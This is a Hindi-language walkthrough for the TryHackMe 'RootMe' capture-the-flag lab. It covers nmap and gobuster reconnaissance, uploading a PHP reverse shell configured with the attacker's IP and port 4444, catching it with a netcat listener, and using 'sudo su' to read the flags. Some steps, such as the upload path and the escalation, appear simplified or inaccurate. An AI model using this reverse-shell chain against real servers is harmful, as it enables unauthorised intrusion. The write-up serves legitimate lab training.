

📖 Step 1: TryHackMe में "RootMe" स्टार्ट करें

✅ TryHackMe में लॉगिन करें और CTF स्टार्ट करें

🔗 TryHackMe RootMe इस लिंक पर जाएँ।

🖱️ "Start Machine" पर क्लिक करें।

📌 आपको एक Target Machine IP (Example: 10.10.0.50) मिलेगा।

🔴 इसे नोट कर लें, क्योंकि हम आगे इसी पर काम करेंगे।

📖 Step 2: Target Machine को Scan करें (Nmap से)

✅ 1. टर्मिनल खोलें और यह कमांड डालें

bash

CopyEdit

nmap -A -T4 10.10.0.50

🔴 यह कमांड क्या करेगी?

✅ -A 🖱️ OS, सर्वर, और सर्विसेज के बारे में पूरी जानकारी देगा।

✅ -T4 🖱️ स्कैनिंग की स्पीड बढ़ाएगा।

✅ 10.10.0.50 🖱️ यह हमारा Target Machine का IP है।

✅ 2. स्कैन का रिजल्ट पढ़ें (Example Output)

arduino

CopyEdit

22/tcp open ssh OpenSSH 7.2p2

80/tcp open http Apache 2.4.18

🔴 इसका क्या मतलब है?

✅ Port 22 🖱️ SSH सर्वर चल रहा है (Secure Shell - सिस्टम में लॉगिन करने के लिए)।

✅ Port 80 🖱️ Apache वेब सर्वर चल रहा है (मतलब यहाँ कोई वेबसाइट हो सकती है)।

🚀 हम पहले वेबसाइट को एक्सप्लोर करेंगे, क्योंकि यह ज्यादा आसान तरीका है!

🌐 Step 3: वेबसाइट की Hidden Files खोजें

✅ 1. वेब ब्राउज़र खोलें और यह URL डालें

cpp

CopyEdit

http://10.10.0.50

🔴 अगर यह एक Simple Website दिखाता है, तो इसका मतलब यह है कि इसमें कुछ Hidden Files हो सकती हैं।

✅ 2. Gobuster से Hidden डायरेक्टरी खोजें

bash

CopyEdit

gobuster dir -u http://10.10.0.50 -w /usr/share/wordlists/dirb/common.txt

🔴 यह कमांड क्या करेगी?

✓ dir 🖱️ Hidden directories (सीक्रेट फोल्डर) खोजेगा।

✓ -u 🖱️ टार्गेट URL सेट करेगा।

✓ -w 🖱️ वर्डलिस्ट (predefined words) को यूज़ करेगा।

✅ 3. रिजल्ट को पढ़ें (Example Output)

bash

CopyEdit

/admin

/uploads

🔴 इसका क्या मतलब है?

➡ /admin 🖱️ शायद Admin Panel हो सकता है।

➡ /uploads 🖱️ शायद कोई File Upload सिस्टम हो सकता है।

🚀 हम पहले /uploads को चेक करेंगे!

Step 4: "/uploads" पर Malicious File अपलोड करें

✓ 1. "/uploads" को ब्राउज़र में खोलें

arduino

CopyEdit

<http://10.10.0.50/uploads>

✦ अगर यहाँ कोई "File Upload" का ऑप्शन है, तो हमें इसमें एक Malicious File अपलोड करनी होगी!

Step 5: PHP Reverse Shell बनाना और अपलोड करना

✓ 1. Kali Linux में Reverse Shell फाइल बनाएं

bash

CopyEdit

`cp /usr/share/webshells/php/php-reverse-shell.php shell.php`

✦ यह क्या करेगा?

✓ `/usr/share/webshells/php/php-reverse-shell.php` 🖱️ यह Kali Linux में पहले से मौजूद Hackers के लिए बनाई गई फाइल है।

✓ `cp` 🖱️ इसे कॉपी करेगा और एक नई फाइल **shell.php** बनाएगा।

✓ 2. Reverse Shell फाइल एडिट करें

bash

CopyEdit

`nano shell.php`

✦ अब इस फाइल में हमें अपनी मशीन (Kali Linux) का IP डालना होगा।

➡ यह लाइन ढूँढें:

php

CopyEdit

```
$ip = '127.0.0.1';
```

➡ इसे अपने Kali Linux के OpenVPN IP से बदलें (Example: 10.10.2.55)

php

CopyEdit

```
$ip = '10.10.2.55';
```

➡ अब यह लाइन भी चेक करें:

php

CopyEdit

```
$port = 1234;
```

➡ इसे 4444 में बदलें (आप चाहें तो कोई और पोर्ट यूज़ कर सकते हैं)

php

CopyEdit

```
$port = 4444;
```

✚ अब Save करें:

⌘CTRL + X दबाएँ

⌘फिर Y दबाएँ

⌘फिर Enter दबाएँ

✅ 3. अब shell.php को "/uploads" पर अपलोड करें

✚ ब्राउज़र में "/uploads" पेज पर जाएँ और "shell.php" फाइल अपलोड करें।

🚀 अब हमें इस Shell को Activate करना होगा!

🚀 Step 6: Kali Linux में Netcat Listener चालू करें

bash

CopyEdit

nc -lvnp 4444

🚀 यह क्या करेगा?

✓ यह हमारी Kali Linux मशीन को लिसनर मोड में डाल देगा, ताकि जब हम shell.php रन करें, तो हमें Target Machine से कनेक्शन मिल जाए।

✓ अब shell.php को ब्राउज़र में खोलें:

arduino

CopyEdit

<http://10.10.0.50/uploads/shell.php>

🚀 अगर सब सही रहा, तो हमें Netcat में एक Shell मिल जाएगी! 🎉

➡ अब हम Target Machine के अंदर आ चुके हैं!

🔑 Step 7: Flag (user.txt और root.txt) निकालें

✓ 1. User Flag निकालें:

bash

CopyEdit

find / -name user.txt 2>/dev/null

cat /home/user/user.txt

🚀 Example Output:

pgsql

CopyEdit

THM{user-flag-found}

🚀 इसे Copy करें और TryHackMe में Submit करें!

✓ 2. Root Flag निकालें:

bash

CopyEdit

sudo -l

➡ अगर यह sudo su को Allow कर रहा है, तो हम Root बन सकते हैं!

bash

CopyEdit

sudo su

अब Root Flag निकालें:

bash

CopyEdit

find / -name root.txt 2>/dev/null

cat /root/root.txt

📌 **Example Output:**

pgsql

CopyEdit

THM{root-flag-found}

🚀 इसे Copy करें और TryHackMe में Submit करें!

🎯 Final Summary (संक्षेप में)

Step क्या करना है?

- 1 TryHackMe में "RootMe" स्टार्ट करें
- 2 Target Machine को Scan करें (nmap -A -T4 10.10.0.50)
- 3 वेबसाइट पर Hidden Files खोजें (gobuster dir -u http://10.10.0.50 -w common.txt)
- 4 /uploads पर Malicious PHP Shell अपलोड करें
- 5 Netcat Listener (nc -lvnp 4444) से Target का एक्सेस लें

Step क्या करना है?

- 6 user.txt और root.txt फाइल खोजें और Flags निकालें
- 7 Flags को TryHackMe में Submit करें और CTF जीतें! 🎯

अब TryHackMe पर जाओ, **RootMe CTF** ट्राई करो और बताओ अगर कोई दिक्कत आए! 🚀 🔥